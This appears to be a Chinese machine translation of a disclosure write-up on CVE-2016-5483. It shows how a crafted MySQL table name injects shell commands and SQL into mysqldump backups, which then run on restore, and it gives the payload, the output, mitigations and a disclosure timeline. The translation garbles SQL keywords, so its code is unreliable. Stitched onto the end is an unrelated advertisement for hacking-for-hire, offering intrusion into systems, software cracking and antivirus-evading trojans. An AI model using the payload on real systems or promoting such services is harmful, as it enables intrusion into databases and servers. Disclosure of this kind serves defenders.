前言 Mysqldump是用于创建MySQL数据库的逻辑备份的常用工具。它可以使用默认设置生成.sql文件,以创建/删除表和插入数据。导入转储文件时,攻击者可以通过创建恶意表名来创建任意SQL语句查询和shell命令执行。另一个相关的漏洞利用场景可以通过构造数据库名称来引用对Galera的远程代码执行攻击。 攻击场景 攻击者已经能够访问您的应用程序并执行任意SQL查询(例如通过过时的Wordpress插件安装的后门程序) 攻击者有权创建表(这是非常常见的,许多指南和教程建议将此权限授予安装程序,或者执行GROST ALL PRIVILEGES ON wordpress。*命令以授予Wordpress用户所有权限) 受攻击的目标使用mysqldump进行常规数据库备份 攻击者希望增加权限并获得更多系统访问权限 攻击演示 首先,攻击者使用以下查询创建恶意表:
1 2 3 创建 表 `邪恶的 \! id 选择 user(),@@ version/*` (测试 文本); 计划备份任务通常会创建一个转储文件,其中包含运行时每个表的入口点,格式类似于以下内容:
1 2 3 - - 表 结构 表示 表 `tablename` - 但是,使用我们创建的恶意表名称将使此入口点如下所示:
1 2 3 4 五 - - 表 结构 表示 表 `邪恶 \! id 选择 user(),@@ version/*` - 如您所见,表名中的新行允许攻击者插入任意行数的MySQL命令。成功导入此攻击负载后,它将执行以下操作: 如果它是由mysql命令行客户端导入的,则id命令将通过sh执行 它将执行一个任意查询,可以输出导入它的MySQL用户名和服务器版本。 现在,攻击者开始删除数据库中的一些数据,并在任何地方插入一些随机损坏的Unicode字符,使数据库看起来已损坏。当管理员找到它时,他立即开始移动并准备从最新备份中恢复数据。执行恢复操作后,将执行攻击有效负载:
1 2 3 4 $ mysql test < backup.sql Uid=0(root) gid=0(root) groups=0(root) < - 攻击者的 shell 命令 用户() @@版本 Root @ localhost 10.1.18-MariaDB < - 攻击者的 sql 查询 如您所见,攻击者通过强制管理员恢复数据库成功执行了一些讨厌的命令。至于如何创建可以将后门留给攻击者的有效载荷,这仍然是读者的练习。 缓解措施 使用mysqldump时添加-skip-comments参数 撤消尽可能创建表的权限(这是最有效的方法) 仅转储表的数据而不是计划备份中表的结构 使用其他一些替代工具来备份MySQL数据 受影响版本
披露事记 2016.10.05:发现漏洞并向MariaDB和Oracle报告。 2016.10.06:收到MariaDB的回复,预计将在下一个版本中修复。讨论了CVE的任务。 2016.10.13:MariaDB确认该漏洞将在5.5.53版本中修复。 2016.10.18:收到CVE编号。 2017.03.09:未收到Oracle Outside的自动回复。该漏洞在超过90天后公开披露。 本文由乘客安全翻译,作者:overXsky 原文链接:https://blog.tarq.io/cve-2016-5483-backdooring-mysqldump-backups/ 黑客业务列表介绍和一般分类: 类别:攻击入侵破解开发 1:攻击业务订单:暂时取消所有此类业务订单[仅销售常规IDC流量] 2:入侵业务清单:包括网站源代码,办公系统,黑色系统,教育系统等。 3:破解业务类:软件,加密文件,二次打包,脱壳等。 4:二次开发业务清单:软件二次开发,源代码二次开发等 5:其他业务订单:特洛伊木马[通过所有防病毒],远程控制,特殊软件等 备注:未提及的业务订单可根据主要类别查询或直接联系客户服务。为避免浪费双方时间,请在咨询前阅读:业务交易流程及相关说明 注意:仅接受正式业务,个人无权接受。收集此内容。